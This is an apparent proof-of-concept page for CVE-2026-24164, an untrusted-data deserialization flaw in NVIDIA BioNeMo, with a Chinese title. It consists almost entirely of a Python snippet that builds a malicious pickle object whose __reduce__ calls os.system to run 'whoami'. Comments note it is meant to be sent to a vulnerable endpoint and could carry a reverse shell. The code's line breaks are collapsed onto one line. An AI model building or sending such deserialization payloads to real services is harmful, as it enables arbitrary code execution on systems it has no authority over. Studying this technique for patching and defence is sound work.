CVE-2026-24164 NVIDIA BioNeMo 不可信数据反序列化漏洞

import pickle import os # Define a malicious class that executes code upon deserialization class MaliciousPayload: def __reduce__(self): # The payload to execute: e.g., creating a file or running a shell command # In a real attack, this could be a reverse shell return (os.system, ('whoami',)) # Serialize the malicious object malicious_data = pickle.dumps(MaliciousPayload()) print(f"Generated malicious payload length: {len(malicious_data)} bytes") # This payload would be sent to the vulnerable NVIDIA BioNeMo endpoint # causing the application to deserialize it and execute 'whoami'